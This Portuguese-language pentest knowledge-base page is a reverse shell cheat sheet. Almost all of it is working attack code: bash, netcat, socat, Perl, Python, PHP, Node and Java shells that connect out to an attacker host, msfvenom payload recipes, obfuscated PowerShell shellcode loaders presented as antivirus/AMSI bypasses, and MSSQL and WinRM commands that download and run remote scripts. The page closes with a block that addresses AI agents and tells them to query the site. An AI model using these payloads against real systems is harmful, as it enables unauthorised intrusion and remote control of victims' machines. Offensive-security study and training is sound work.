# Reverse Shell

Caso precise, no Kali vem alguns WebShell disponíveis em `/usr/share/webshells/`.\
Sempre quando for executar uma shell reversa no Burp Suite e pressione `CTRL`+`U` para encodar o payload.

### Reverse Shell x Bind Shell

Apesar de ambos terem o mesmo objetivo, a forma de realizar a conexão é tem uma pequena diferença, a direção de acesso. No `Blind Shell`,  o host alvo irá abrir uma porta para o atacante se conectar, já no `Reverse Shell`, é o host atacante quem abre uma porta e faz com que o host alvo se conecte nela.

### Melhorando  o Visual da Shell

Devido a muitas vezes conseguirmos pegar uma shell que não possui um bom retorno, funcionalidades como `vi` não funcionam, `CTRL`+`C` encerra a sessão, não temos histórico de comandos, etc, por isso devemos deixar nossa shell mais estável.

```bash
# Dentro da shell reversa
python -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z

# Agora já no terminal do atacante
stty raw -echo

# Quando digitar esse comando, não irá aparecer o que está digitando, mas continue mesmo assim
fg
ENTER (2x)


# Dentro da shell reversa
reset
export SHELL=bash
export TERM=xterm-256color

# No terminal do host (fora da reverse shell) maximize o terminal e veja os valores de "rows" e "columns" com o comando
stty -a

# Agora volte para o terminal da reverse shell e defina "rows" e "columns" com o mesmo valor retornado no comando acima
stty rows <num> columns <cols>
```

#### Mais comandos para Spawning TTY

```bash
# Estes continuam com problemas de `CTRL`+`C` e histórico de comandos
python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')


/bin/sh -i
/bin/bash -i
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')

# Dentro do IRB
exec "/bin/sh"

# Dentro do vi
:!bash

# Dentro do vi
:set shell=/bin/bash:shell

# Dentro do nmap
!sh
```

#### rlwrap

Deixa o netcat mais estável

```bash
rlwrap nc -nlvp <port>
```

#### Meterpreter

Caso tenha conseguido alguma shell no host alvo e não seja o Meterpreter, utilize o comando abaixo para atualizar sua shell para o Meterpreter:

```bash
sessions -u <session_id>
```

### Msfvenom

Existem 2 tipos de Reverse Shell que pode ser feita com o msfvenom:\
`staged` = Esta divide o payload em pequenos pedaços. O Meterpreter em si é uma shell em etapas, primeiro ele envia algumas partes para configurar a conexão e depois envia um pouco mais. Este não pode ser acessado pelo Netcat.\
`non-staged` = Já este é enviado em blocos e pode ser executado tanto no `Metasploit` quanto no Netcat

#### Stage Payload

```bash
msfvenom -p windows/shell/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o <file.exe>

msfconsole
use exploit/multi/handler
set payload windows/shell/reverse_tcp
```

**OBS.:** Utilize o Meterpreter, caso achar necessário

#### Non-Stage Payload

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=<port> LPORT=<port> -f exe -o <file.exe>
```

#### PHP (Web-Shell)

Esse php-shell é independente do sistema operacional. Você pode usá-lo no Linux e no Windows.

```bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.php
msfvenom -p php/reverse_php LHOST=<ip> LPORT=<port> -f raw > shell.php
```

#### ASP (Web-Shell)

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f asp > shell.asp
```

**OBS.:** Altere de `asp` para `aspx` caso seja necessário

#### War (Web-Shell)

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war > shell.war
```

#### JSP (Web-Shell)

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -o shell.jsp
```

#### OS

Executando um comandos no SO

```bash
msfvenom -p windows/exec CMD=<command> -f exe -o <output.exe>
```

###

### Villain

Abre uma Reverse Shell que aceita múltiplas conexões, gerando assim várias sessões que podem ser acessadas a qualquer momento. Para gerar o payload, utilize o comando abaixo e execute a saída do comando no host alvo. Quando a vítima executar o comando, será aberta a sessão no próprio Villian

```bash
generate os=<windows|linux> lhost=<interface_rede> obfuscate
```

Para visualizar as sessões que estão ativas, execute:

```bash
sessions
```

Para acessar uma determinada sessão, execute:

```bash
shell <session_id>
```

###

### Curl

Este não é de fato o responsável pelo Shell Reverso, mas com ele é possível baixar e executar determinado arquivo com o comando abaixo:

```bash
source <(curl -s http://<ip_atacante>/<shell.py>)
```

###

### Bash TCP

```bash
bash -i >& /dev/tcp/<ip_atacante>/<port> 0>&1
echo < /dev/tcp/<ip>/<port> | bash
bash -c 'bash -i >& /dev/tcp/<ip_atacante>/<port> 0>&1'
0<&196;exec 196<>/dev/tcp/<ip_atacante>/<port>; sh <&196 >&196 2>&196
```

### Bash UDP

```bash
sh -i >& /dev/udp/<ip_atacante>/<port> 0>&1

# Execução na máquina atacante
nc -u -lvp <port>
```

### Windows

#### msfvenom

Criando executável

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip_atacante> LPORT=<port> -f exe -o <file.exe>
```

Deixe o Netcat em modo listener com o comando abaixo e execute o executável gerado com o comando acima no Windows.

```
nc -nlvp <port>
```

#### Bypass Powershell

Primeiro execute o código abaixo para deixarmos o Metasploit no modo listener

```bash
msfconsole -x "set LHOST <IP>; set LPORT <PORT>; use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set EnableStageEncoding true; set StageEncoder x86/xor_dynamic; run"
```

Execute o script abaixo na máquina alvo

```bash
$ip = "<ip_atacante>"; $port = <port>; $c = @"
[D#ll#Imp#ort("ker#ne#l32.#dll")] publi#c static e#xtern In#tPtr Virt#ualAl#loc(Int#Ptr w, ui#nt x, ui#nt y, ui#nt z);
[Dl#lI##mpor#t("kern#el32.d#ll")] pub#lic st#atic ex#tern Int#Ptr Cr#eate#Thr#ead(Int#Ptr u, u#int v, IntP#tr w, Int#Ptr x, ui#nt y, IntPtr z);
"@.replace("#", "")
try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
$s.Connect($ip, $port) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0
$y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF
while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) }
for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]}
$t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
[System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
$t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400;  Start-Sleep -Second 86400; Start-Sleep -Second 86400; Start-Sleep -Second 86400}catch{}
```

Abaixo segue outras maneiras, que podem ser porém utilizando o netcat como listener

```bash
Set-Alias -Name K -Value Out-String
Set-Alias -Name nothingHere -Value iex
$BT = New-Object "S`y`stem.Net.Sockets.T`CPCl`ient"($args[0],$args[1]);
$replace = $BT.GetStream();
[byte[]]$B = 0..(32768*2-1)|%{0};
$B = ([text.encoding]::UTF8).GetBytes("(c) Microsoft Corporation. All rights reserved.`n`n")
$replace.Write($B,0,$B.Length)
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$replace.Write($B,0,$B.Length)
[byte[]]$int = 0..(10000+55535)|%{0};
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);
$I = (nothingHere $ROM 2>&1 | K );
$I2  = $I + (pwd).Path + '> ';
$U = [text.encoding]::ASCII.GetBytes($I2);
$replace.Write($U,0,$U.Length);
$replace.Flush()};
$BT.Close()
```

```bash
$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$SS = $J.GetStream();
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
$OO = ([text.encoding]::UTF8).GetBytes("Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n")
$SS.Write($OO,0,$OO.Length)
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + '>')
$SS.Write($OO,0,$OO.Length)
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);
$GG = (i`eX $DD 2>&1 | Out-String );
$H  = $GG + (pwd).Path + '> ';
$L = ([text.encoding]::UTF8).GetBytes($H);
$SS.Write($L,0,$L.Length);
$SS.Flush()};
$J.Close()
```

```bash
$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$I = $c.GetStream();
[byte[]]$U = 0..(2-shl15)|%{0};
$U = ([text.encoding]::ASCII).GetBytes("Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n")
$I.Write($U,0,$U.Length)
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$I.Write($U,0,$U.Length)
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);
$a = (iex $D 2>&1 | Out-String );
$r  = $a + (pwd).Path + '> ';
$m = ([text.encoding]::ASCII).GetBytes($r);
$I.Write($m,0,$m.Length);
$I.Flush()};
$c.Close()
```

### Linux

#### Binário

```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f elf > shell.elf
```

#### Bash

```bash
bash -i >& /dev/tcp/<ip>/<port> 0>&1
bash -c "bash -i >& /dev/tcp/<ip>/<port> 0>&1"
/bin/sh -c "nc -e /bin/sh <ip_atacante> <port>"
```

### FreeBSD

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ip> <port> > /tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |telnet <ip> <port> > /tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |nc <ip> <port> > /tmp/f
```

### Netcat

#### Bind Shell

```bash
# Alvo Linux
nc -lvp <port> -e /bin/bash

# Alvo Windows
nc.exe -nlvp <port> -e cmd.exe

# Atacante
nc -v <ip> <port>
```

#### Reverse Shell

```bash
# Linux
nc <ip> <port> -e /bin/bash
nc -c bash <ip> <port>

nc -lvp <port>

# Windows
nc -lvp 443
nc.exe -v <ip> 443 -e cmd.exe

# MacOS
exec 3> >(nc <ip> <port>)
```

#### Com Flag -e

```bash
nc -e /bin/sh <ip> <port>
# Ou
/bin/sh | nc <ip> <port>
```

#### Sem Flag -e

Nem toda versão do Netcat tem a opção `-e`

```bash
rm -f /tmp/p; mknod /tmp/p p && nc <ip> <port> 0/tmp/p
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/f
```

#### Salvando a saída

Útil para estudar quais comandos o atacante está utilizando.

```
# Alvo
nc -lnvp <port> -o <output.txt>

# Atacante
nc <ip> <port>
```

#### Executando comando (não interativo)

```
# Alvo
<command> | nc <ip_hacker> <port>

# Atacante
nc -lvnp <port>
```

{% hint style="success" %}
**NOTA**: Acima vimos exemplos onde executamos um comando no host alvo e enviamos a saída do comando para o host atacante. Isso é útil quando executamos o netcat, criamos uma conexão porém não conseguimos executar comandos. Caso queria, adicione o parâmetro -k (keep alive) no comando nc do host atacante para manter a conexão aberta enquanto recebe a saída dos comandos.
{% endhint %}

### Ncat

#### Bind

```bash
ncat --exec cmd.exe --allow <ip> -vnl <port> --ssl
ncat -v <ip> <port> --ssl
```

### Socat

Abaixo possui um site para baixar o código do socat (caso a vítima não tenha instalado) e, assim que definir qual a arquitetura correta, execute como no comando abaixo:

```bash
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>
```

{% hint style="success" %}
**DICA**: Todos os exemplos abaixo estão utilizando o protocolo TCP, porém podemos utilizar UDP, apena susbstituindo onde está escrito **TCP** para **UDP**. Note também que os parâmetros do socat são case-insensitive.
{% endhint %}

#### Método 1

```bash
# Alvo
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip_atacante>:<port>

# Atacante
socat file:`tty`,raw,echo=0 tcp-listen:<port>
```

#### Método 2

```bash
# Atacante
socat - tcp4-listen:<port>

# Alvo
nc -nv <ip_atacante> <port> -e /bin/bash
```

#### Método 3

```bash
# Atacante
nc -vlnp <port> -e /bin/bash 

# Alvo
socat - tcp4:<ip>:<port>
```

#### Método 4

```bash
# Atacante
nc -vnlp <port> 

# Alvo
socat tcp4:<ip>:<port> EXEC:/bin/bash
```

#### Método 5

```
# Alvo
socat TCP-LISTEN:<port>,reuseaddr,pf=ip4,fork -

# Atacante
socat TCP:127.0.0.1:4000 -
```

#### Método 6

```
# Alvo
socat UNIX-LISTEN:./mysther.sock,fork -

# Atacante
socat UNIX-CONNECT:./mysther.sock -
```

#### Método 7

```
# Alvo
socat tcp-l:<port>,fork system:/bin/bash

# Atacante
socat - TCP:<ip>:<port>
```

### Perl

```bash
# Linux
perl -e 'use Socket;$i="<ip_atacante>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"<ip>:<port>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="<ip>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

### Python 2.7

```bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip_atacente>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

### Python 3

```bash
# Execução na máquina alvo
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip_atacante>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

# Execução na máquina atacante
nc -lvp <port>
```

**OBS.:** Caso não consiga utilizar comandos dentro do `eval` como `import os`, substitua por `__import__('os').system('whoami')`

### PHP

```bash
# Host alvo
exec("/bin/bash -c 'bash -i >& /dev/tcp/<ip_atacante>/<port> 0>&1'");

system("0<&196;exec 196<>/dev/tcp/<ip_atacante>/<port>; sh <&196 >&196 2>&196")

# Host atacante
nc -lvp <port>
```

#### Metasploit

```bash
# Host alvo. Se não funcionar, tente com 4, 5 ou 6
php -r '$sock=fsockopen("<ip_atacante>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'

# Host atacante
msfconsole -q
use exploit/multi/handler
set payload php/reverse_php
set LHOST <ip_atacante>
exploit
```

### Ruby

```bash
ruby -rsocket -e'f=TCPSocket.open("<ip_atacante>",<port>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

###

### PowerShell (Invoke-PowerShell)

Insira  no final do arquivo  (Pesquisar se o arquivo está em  ou baixar no Git).

Encontre o arquivo `Invoke-PowerShellTcp.ps1` (geralmente está em `/usr/share/nishang/Shells`), copie para seu diretório atual (para manter o arquivo original) e insira a seguinte linha no final do arquivo:

```powershell
Invoke-PowerShellTcp -Reverse -IPAddress <ip_atacante> -Port <port>
```

Em outro terminal, deixe o arquivo disponível para o alvo com o comando `python -m SimpleHTTPServer`

```bash
# Máquina Alvo
IEX(New-Object Net.WebClient).downloadString('http://<site.com>/<shell.ps1>')

# Máquina Atacante
nv -lvp <port>
```

**OBS.:** Veja nos sites abaixo, uma lista de shell para PowerShell

###

### Powershell (msfvenom)

Crie o Payload com o comando abaixo

```bash
sudo msfvenom --payload windows/x86/meterpreter_reverse_tcp --format psh --out out.ps1 LHOST=<ip_atacante> LPORT=<port>
```

Agora digite os seguintes comandos:

```bash
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ip_atacante>
set LPORT <port>
exploit
```

Execute na máquina alvo com o comando `iex` (vide página de Powershell)

###

### PowerShell (Manual)

Note que em alguns momentos (aqui e em outros exemplos) estamos utilizando o parâmetro `-nop` do powershell, que é uma abreviação de `-NoProfile`. Isso instrui o Powershell a não carregar o perfil de usuário. Quando o PowerShell é iniciado, por padrão, ele carrega os scripts de perfil de qualquer usuário existente, o que pode afetar negativamente a execução do nosso código. Essa opção evitará esse possível problema.

```bash
# Execute no host alvo
powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Execute no host atacante
nc -lvp <port>
```

### Microsoft SQL Server (MSSQL)

```bash
USE msdb;EXEC msdb.dbo.sp_delete_job @job_name = N'PowershellExec';EXEC dbo.sp_add_job @job_name = N'PowershellExec';EXEC sp_add_jobstep @job_name = N'PowershellExec', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell -noexit -c "iex (iwr -UseBasicParsing http://<ip>:<port>/amsibypass)"', @retry_attempts = 1, @retry_interval = 5;EXEC dbo.sp_add_jobserver @job_name = N'PowershellExec';EXEC dbo.sp_start_job N'PowershellExec'
```

### WinRM (Autenticado)

```
$passwd = ConvertTo-SecureString '<pass>' -AsPlainText -Force
creds = New-Object System.Management.Automation.PSCredential ("<domain>\<user>", $passwd)
server = New-PSSession <ip> -Credential $creds ; Invoke-Command -ScriptBlock{iex (iwr -UseBasicParsing http://<ip>/amsibypass) ; iex (iwr -UseBasicParsing http://<ip>/payload.ps1)} -Session $server
```

### Base64 Encoding

Primeiro vamos encodar nosso payload. Como exemplo vamos pegar o reverse shell em bash, mas pode ser qualquer outro

```bash
echo 'bash -i >& /dev/tcp/<ip_atacante>/<port> 0>&1' | base64
```

Agora pegue o resultado do comando acima para montar o comando o abaixo

```bash
echo <base64>|base64 -d|bash
```

### VILLAIN

Abre uma Reverse Shell que aceita múltiplas conexões, gerando assim várias sessões que podem ser acessadas a qualquer momento. Para gerar o payload, utilize o comando abaixo e execute a saída do comando no host alvo. Quando a vítima executar o comando, será aberta a sessão no próprio Villian

```bash
generate os=<windows|linux> lhost=<interface_rede> obfuscate
```

Para visualizar as sessões que estão ativas, execute:

```bash
sessions
```

Para acessar uma determinada sessão, execute:

```bash
shell <session_id>
```

### NodeJS

```bash
# Execução na máquina alvo
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "<ip_atacante>", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

# Execução na máquina atacante
nc -lvp 8080
```

###

### LUA

```
# Somente em Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('<ip_atacante>','<port>');os.execute('/bin/sh -i <&3 >&3 2>&3');"
```

###

### Xterm

```bash
# O seguinte comando deve ser executado no alvo. Ele tentará se conectar de volta a você na porta TCP 6001
xterm -display <ip_atacante>:1

# Inicie um X-Server (: 1 - que escuta na porta TCP 6001), usando o Xnest no IP do atacante
Xnest :1

# Agora autorize o destino a se conectar a você (IP do atacante)
xhost +targetip
```

###

### PHP

Crie o Payload com o comando

```bash
sudo msfvenom -p php/meterpreter/reverse_tcp LHOST=<ip_atacante> LPORT=<port> -f raw
```

Será mostrado na tela o código, onde deverá ser enviado para o alvo web.

Agora digite os seguintes comandos:

```bash
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <ip_atacante>
set LHOST <port>
exploit -j -Z
```

###

### JAVA

```bash
# Use netcat para pegar a shell
sudo msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war > <file.war>

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<ip>/<port>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

# Ou
Runtime run = Runtime.getRuntime();
String[] commands = new String[] { "/usr/bin/nc", "-l","-p", "<port>", "-e", "/bin/sh" };
run.exec(<command>);
```

###

### Telnet

```bash
rm -f /tmp/p; mknod /tmp/p p && telnet <ip> <port> 0/tmp/p
telnet <ip> <port> | /bin/bash | telnet <ip> <other_port>
```

###

### Gawk

```bash
#!/usr/bin/gawk -f
BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}
```

####

### Sites

```bash
# Diversas Shells
https://highon.coffee/blog/reverse-shell-cheat-sheet/

# Bypass para Reverse Shell em Windows
https://github.com/tihanyin/PSSW100AVB

# Reverse Shell com Bypass do Windows Defender
https://github.com/t3l3machus/hoaxshell

# Villain
https://github.com/t3l3machus/Villain.git

# Webshell PHP
https://github.com/Arrexel/phpbash

# Scripts para deixar a shell Python interativa
https://github.com/infodox/python-pty-shells.git

# Código para executar o socat (caso não tenha instalado)
https://github.com/andrew-d/static-binaries

# Modos de deixar o shell com melhor interatividade e estabilidade
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

# Mascarando o IP em octal. Útil para shell reversa ou transferir arquivos.
https://www.browserling.com/tools/ip-to-oct

# PowerShell
https://github.com/samratashok/nishang.git
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet  
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/reverse-shell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
